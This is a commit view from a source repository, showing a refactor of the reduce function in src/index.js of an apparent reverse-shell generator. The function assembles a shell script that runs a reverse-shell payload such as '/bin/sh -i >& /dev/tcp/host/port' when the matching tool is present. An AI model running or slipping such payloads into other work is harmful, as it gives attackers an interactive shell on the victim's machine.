Browse Source

Optimise reduce function

pull/9/head
Luke Childs 7 years ago
parent
commit
95438f2984
  1. 8
      src/index.js

8
src/index.js

@ -19,12 +19,12 @@ const generateScript = (host, port) => {
sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1`
};
return Object.keys(payloads).reduce((acc, cmd) => {
acc += `if command -v ${cmd} > /dev/null 2>&1; then\n` +
` ${payloads[cmd]}\n` +
return Object.entries(payloads).reduce((script, [cmd, payload]) => {
script += `if command -v ${cmd} > /dev/null 2>&1; then\n` +
` ${payload}\n` +
' exit; \n' +
'fi \n';
return acc;
return script;
}, '');
};

Loading…
Cancel
Save